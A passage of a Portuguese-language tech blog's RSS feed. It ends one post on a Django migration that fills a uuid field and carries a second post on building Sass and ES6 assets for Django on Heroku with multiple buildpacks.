    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; item &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; items&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uuid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uuid&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uuid4&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;save&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Usamos o parâmetro &lt;code class=&quot;language-text&quot;&gt;apps&lt;/code&gt; para &quot;importar&quot; o modelo. Na sequência, utilizamos o &lt;em&gt;ORM&lt;/em&gt;
para pegar todos os items do banco de dados, iteramos por eles preenchendo o campo
&lt;code class=&quot;language-text&quot;&gt;uuid&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Precisamos adicionar essa função ao atributo &lt;code class=&quot;language-text&quot;&gt;operations&lt;/code&gt;, da &lt;em&gt;migration&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# migrations/0003_auto_20161010_1635.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Migration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Migration&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    dependencies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;lista_de_compras&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;0002_item_uuid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    operations &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;RunPython&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gen_uuid&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; reverse_code&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;RunPython&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;noop&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Utilizamos a função &lt;code class=&quot;language-text&quot;&gt;RunPython&lt;/code&gt; para executar operações em nossa &lt;em&gt;migration&lt;/em&gt;
que dependem de processamento por parte da linguagem (ou do &lt;em&gt;Django&lt;/em&gt;). Em alguns
cenários, esse tipo de operação não tem um processo de &lt;em&gt;rollback&lt;/em&gt;, portanto,
deixamos explícito que não temos como desfazer a operação através do parâmetro
&lt;code class=&quot;language-text&quot;&gt;reverse_code&lt;/code&gt; com valor &lt;code class=&quot;language-text&quot;&gt;migrations.RunPython.noop&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;migration&lt;/em&gt; deve ter ficado mais ou menos assim:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# migrations/0003_auto_20161010_1635.py&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; __future__ &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; unicode_literals

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; uuid
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;db &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; migrations&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; transaction


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;gen_uuid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;apps&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; schema_editor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    Item &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; apps&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_model&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;lista_de_compras&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Item&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    items &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; item &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; items&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uuid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uuid&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uuid4&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;save&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Migration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Migration&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    dependencies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;lista_de_compras&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;0002_item_uuid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    operations &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;RunPython&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gen_uuid&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; reverse_code&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;RunPython&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;noop&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ainda não acabou! Uma vez que todos os registros já possuam o seu &lt;code class=&quot;language-text&quot;&gt;uuid&lt;/code&gt;
preenchido, precisamos voltar à proposta original do nosso modelo: Com
um campo default, e com preenchimento obrigatório. Para tanto, basta
executar novamente o &lt;code class=&quot;language-text&quot;&gt;makemigrations&lt;/code&gt;. Uma nova &lt;em&gt;migration&lt;/em&gt; será criada,
com todas as &lt;em&gt;constraints&lt;/em&gt; definidas corretamente.&lt;/p&gt;
&lt;p&gt;Agora rode o &lt;code class=&quot;language-text&quot;&gt;migrate&lt;/code&gt;. Acabamos de criar um campo &lt;code class=&quot;language-text&quot;&gt;uuid&lt;/code&gt;,
preenchemos os registros já existentes no &lt;em&gt;database&lt;/em&gt;, e criamos
&lt;em&gt;constraints&lt;/em&gt; para os registros que virão no futuro.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.10/topics/migrations/&quot;&gt;Django documentation: Migrations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://south.readthedocs.io/en/latest/whataremigrations.html&quot;&gt;South documentation: What are migrations?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Django, Sass e ES6 no Heroku com Multiple Buildpacks]]></title><description><![CDATA[Anteriormente, falamos sobre como utilizar o  com Sass
e ES6. Se você quisesse utilizar o Heroku,
com uma aplicação Python executando…]]></description><link>https://klauslaube.com.br/2016/08/27/django-sass-es6-no-heroku-com-multiple-buildpacks.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/08/27/django-sass-es6-no-heroku-com-multiple-buildpacks.html</guid><pubDate>Sat, 27 Aug 2016 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Anteriormente, falamos sobre como utilizar o &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt; com &lt;a href=&quot;/tag/sass.html&quot; title=&quot;Leia mais sobre Sass&quot;&gt;&lt;em&gt;Sass&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;/tag/es6.html&quot; title=&quot;Leia mais sobre ES6&quot;&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/a&gt;. Se você quisesse utilizar o &lt;em&gt;Heroku&lt;/em&gt;,
com uma aplicação &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; executando operações de &lt;em&gt;build&lt;/em&gt;
em &lt;a href=&quot;/tag/node.html&quot; title=&quot;Leia mais sobre Node.JS&quot;&gt;&lt;em&gt;Node.js&lt;/em&gt;&lt;/a&gt;, seria uma tarefa um tanto árdua,
que exigiria um certo nível de paciência na
construção do seu próprio &lt;em&gt;Buildpack&lt;/em&gt;. Hoje, com o &lt;em&gt;Multiple Buildpacks&lt;/em&gt;, isso não é mais necessário.&lt;/p&gt;
&lt;h2&gt;Build o quê?&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Buildpack&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;São conjuntos de scripts que, dependendo da linguagem de programação que você escolher,
resolverão dependências, geração de &lt;em&gt;assets&lt;/em&gt; e até mesmo compilação arquivos, dentro da plataforma &lt;em&gt;Heroku&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ou seja, eles são uma espécie de &quot;provisionamento&quot;, onde você escreverá uma série de
instruções que deixarão o ambiente preparado para receber o seu projeto.&lt;/p&gt;
&lt;p&gt;Antigamente, para você trabalhar com compilação/transpilação de &lt;em&gt;assets&lt;/em&gt; em um projeto
&lt;em&gt;Django&lt;/em&gt; no &lt;em&gt;Heroku&lt;/em&gt;, você tinha duas opções:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Utilizar (ou construir) um &lt;em&gt;Buildpack&lt;/em&gt; customizado que realizasse o procedimento de instalação das dependências e build (como o &lt;a href=&quot;https://github.com/jiaaro/heroku-buildpack-django&quot; title=&quot;Veja o repositório no GitHub&quot;&gt;heroku-buildpack-django&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;&quot;Commitar&quot; os arquivos &quot;buildados&quot; e utilizar o &lt;em&gt;Buildpack Python&lt;/em&gt; padrão.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eu nunca tive muita paciência com a questão de provisionamento no &lt;em&gt;Heroku&lt;/em&gt;,
então geralmente eu partia para a ignorância e vivia &quot;commitando&quot; &lt;em&gt;CSS&lt;/em&gt; e &lt;em&gt;JS&lt;/em&gt; compilados.&lt;/p&gt;
&lt;h2&gt;Repita comigo: Nunca mais vou commitar arquivos compilados&lt;/h2&gt;
&lt;p&gt;É uma péssima ideia! Principalmente quando você está trabalhando em uma equipe grande.
A quantidade de &lt;em&gt;merge hells&lt;/em&gt; envolvendo arquivos compilados é aquele tipo de dor de
cabeça que você deveria evitar desde o princípio.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/a5e7fde62eb0da75c7d6193857640faa/c08c5/multipack-pacific-rim.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAECAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAHk5uBEh//EABoQAAICAwAAAAAAAAAAAAAAAAECERIAEDH/2gAIAQEAAQUCFarEnoxdf//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABUQAQEAAAAAAAAAAAAAAAAAABAB/9oACAEBAAY/Amv/xAAaEAEAAwEBAQAAAAAAAAAAAAABABEhUTFh/9oACAEBAAE/ITY3WVvYUhZnE8n5MOcYtuz/2gAMAwEAAgADAAAAEGsf/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQMBAT8QV//EABURAQEAAAAAAAAAAAAAAAAAAAEQ/9oACAECAQE/EGf/xAAaEAEAAwEBAQAAAAAAAAAAAAABABEhYTFB/9oACAEBAAE/EK0Y0Rd8EYA0NNezQLOQloELA/MibUiJjyJclez/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Não dá pra pilotar um Jaeger sozinho (deadline.com)&amp;quot;&quot;
        title=&quot;Não dá pra pilotar um Jaeger sozinho (deadline.com)&quot;
        src=&quot;/static/a5e7fde62eb0da75c7d6193857640faa/c08c5/multipack-pacific-rim.jpg&quot;
        srcset=&quot;/static/a5e7fde62eb0da75c7d6193857640faa/7809d/multipack-pacific-rim.jpg 192w,
/static/a5e7fde62eb0da75c7d6193857640faa/4ecad/multipack-pacific-rim.jpg 384w,
/static/a5e7fde62eb0da75c7d6193857640faa/c08c5/multipack-pacific-rim.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não dá pra pilotar um Jaeger sozinho (deadline.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;De forma bem resumida, vamos ilustrar como funcionaria o fluxo de &lt;em&gt;build&lt;/em&gt; de estáticos com
múltiplos &lt;em&gt;Buildpacks&lt;/em&gt;. Para começar, vamos criar um novo &lt;em&gt;app&lt;/em&gt; no &lt;em&gt;Heroku&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ heroku create&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Caso você tenha dúvidas sobre como criar um projeto &lt;em&gt;Python&lt;/em&gt; no &lt;em&gt;Heroku&lt;/em&gt;,
o &quot;&lt;a href=&quot;https://devcenter.heroku.com/articles/getting-started-with-python#introduction&quot; title=&quot;Leia documentação oficial&quot;&gt;Getting started&lt;/a&gt;&quot; deles é muito bacana e fácil de seguir.&lt;/p&gt;
&lt;p&gt;Supondo que já instalamos o &lt;em&gt;Django&lt;/em&gt;, e que criamos os arquivos &lt;code class=&quot;language-text&quot;&gt;runtime.txt&lt;/code&gt;,
determinando qual a versão do &lt;em&gt;Python&lt;/em&gt; que usaremos, e &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;,
para resolução de dependências, automaticamente o &lt;em&gt;Heroku&lt;/em&gt; saberá preparar
o ambiente para o nosso projeto.&lt;/p&gt;
&lt;p&gt;Mas caso você queira ter certeza disso, podemos usar o comando &lt;code class=&quot;language-text&quot;&gt;buildpacks:set&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ heroku buildpacks:set heroku/python&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como no &lt;a href=&quot;/2016/06/04/django-e-sass-com-django-compressor.html&quot; title=&quot;Django e Sass com django-compressor&quot;&gt;&lt;em&gt;post&lt;/em&gt; sobre &lt;em&gt;Django&lt;/em&gt; e &lt;em&gt;Sass&lt;/em&gt;&lt;/a&gt;,
utilizaremos a biblioteca &lt;em&gt;Python&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;libsass&lt;/code&gt;. Logo, vamos adicioná-la ao &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# requirements.txt

Django
django-compressor
libsass&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não podemos deixar de configurar o &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# settings.py&lt;/span&gt;

COMPRESS_PRECOMPILERS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;text/x-sass&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;sassc {infile} {outfile}&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mas e o &lt;em&gt;ES6&lt;/em&gt;? Precisaremos do &lt;a href=&quot;/tag/babel.html&quot; title=&quot;Leia mais sobre BabelJS&quot;&gt;BabelJS&lt;/a&gt;,
e consequentemente do &lt;em&gt;Node.js&lt;/em&gt;, para realizar o &lt;em&gt;transpiling&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Python + Node.js em uma mesma instância Heroku&lt;/h2&gt;
&lt;p&gt;Para adicionar um novo &lt;em&gt;Buildpack&lt;/em&gt;, temos o seguinte comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ heroku buildpacks:add --index 1 heroku/nodejs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Onde &lt;code class=&quot;language-text&quot;&gt;--index&lt;/code&gt; determina qual será a ordem de execução do &lt;em&gt;Buildpack&lt;/em&gt;.
Nesse caso, opto por ele ser o primeiro e o do &lt;em&gt;Python&lt;/em&gt; segundo,
somente para garantir que todas as dependências estejam sanadas quando
a resolução de estáticos do &lt;em&gt;Django&lt;/em&gt; acontecer.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Buildpack Python&lt;/em&gt; executa operações dependendo de alguns arquivos
do nosso projeto. Por exemplo, como mencionado acima, precisamos especificar
a versão da linguagem (&lt;code class=&quot;language-text&quot;&gt;runtime.txt&lt;/code&gt;), instalar as dependências do projeto
(&lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;) e no caso do &lt;em&gt;Django&lt;/em&gt;, executar a operação de
&lt;code class=&quot;language-text&quot;&gt;collectstatic&lt;/code&gt; após o deploy (&lt;code class=&quot;language-text&quot;&gt;manage.py&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;No caso do &lt;em&gt;Node.js&lt;/em&gt;, precisaremos ter um arquivo &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt; na raíz do
projeto, contendo todas as bibliotecas que o projeto usa, para essa linguagem:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ npm init .
$ npm install --save babelify babel-preset-es2015&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não podemos esquecer do &lt;code class=&quot;language-text&quot;&gt;.babelrc&lt;/code&gt;, essencial para a execução do &lt;em&gt;Babel&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// .babelrc&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;presets&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;es2015&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E por fim, falta adicionar o pré-compilador ao &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# settings.py&lt;/span&gt;

COMPRESS_PRECOMPILERS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;text/x-sass&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;sassc {infile} {outfile}&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;text/es6&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;./node_modules/.bin/browserify {infile} -t babelify --outfile {outfile}&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Ao dar o &lt;code class=&quot;language-text&quot;&gt;git push heroku master&lt;/code&gt;, a plataforma executará primeiro o
&lt;em&gt;Buildback Node.js&lt;/em&gt;, e na sequência o &lt;em&gt;Buildpack Python&lt;/em&gt;. No momento de entrega das
páginas, teremos os binários &lt;code class=&quot;language-text&quot;&gt;browserify&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;sassc&lt;/code&gt; instalados em nossa instância,
e poderemos entregar nossas páginas com &lt;em&gt;CSS&lt;/em&gt; e &lt;em&gt;JS&lt;/em&gt; compilados sem a necessidade de &quot;commitá-los&quot;.&lt;/p&gt;
&lt;h2&gt;Comprimindo no momento do deploy&lt;/h2&gt;
&lt;p&gt;Comprimir/compilar &lt;em&gt;assets&lt;/em&gt; no momento da requisição também é algo que deve ser evitado.
Embora o &lt;em&gt;Django Compressor&lt;/em&gt; faça um excelente trabalho nesse quesito, se estivermos usando
uma &lt;em&gt;CDN&lt;/em&gt; para a entrega desses estáticos, esse procedimento não deve acontecer durante a requisição de um usuário.&lt;/p&gt;
&lt;p&gt;Para executar o comando &lt;code class=&quot;language-text&quot;&gt;compress&lt;/code&gt; da biblioteca &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt; em tempo de &lt;em&gt;deploy&lt;/em&gt;,
basta fazermos duas coisas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Garantir que &lt;code class=&quot;language-text&quot;&gt;COMPRESS_OFFLINE&lt;/code&gt;, na configuração do seu projeto, esteja setado como &lt;code class=&quot;language-text&quot;&gt;True&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Criar um diretório &lt;code class=&quot;language-text&quot;&gt;bin&lt;/code&gt;, e dentro dele um arquivo &lt;code class=&quot;language-text&quot;&gt;post_compile&lt;/code&gt;, com a instrução de &lt;code class=&quot;language-text&quot;&gt;compress&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token shebang important&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;

python manage.py compress&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Feito! Agora a cada &lt;em&gt;deploy&lt;/em&gt; da sua aplicação, o &lt;em&gt;build&lt;/em&gt; dos &lt;em&gt;assets&lt;/em&gt; acontecerá
automaticamente, dispensando assim a necessidade de ficar enviando &lt;em&gt;CSS&lt;/em&gt; e &lt;em&gt;JS&lt;/em&gt; &quot;buildados&quot;
através de &lt;code class=&quot;language-text&quot;&gt;git push&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Dúvidas sobre a relação entre Django, Sass e ES6? Eu a detalho um pouco melhor nesses dois posts:&lt;/p&gt;
&lt;ul&gt;
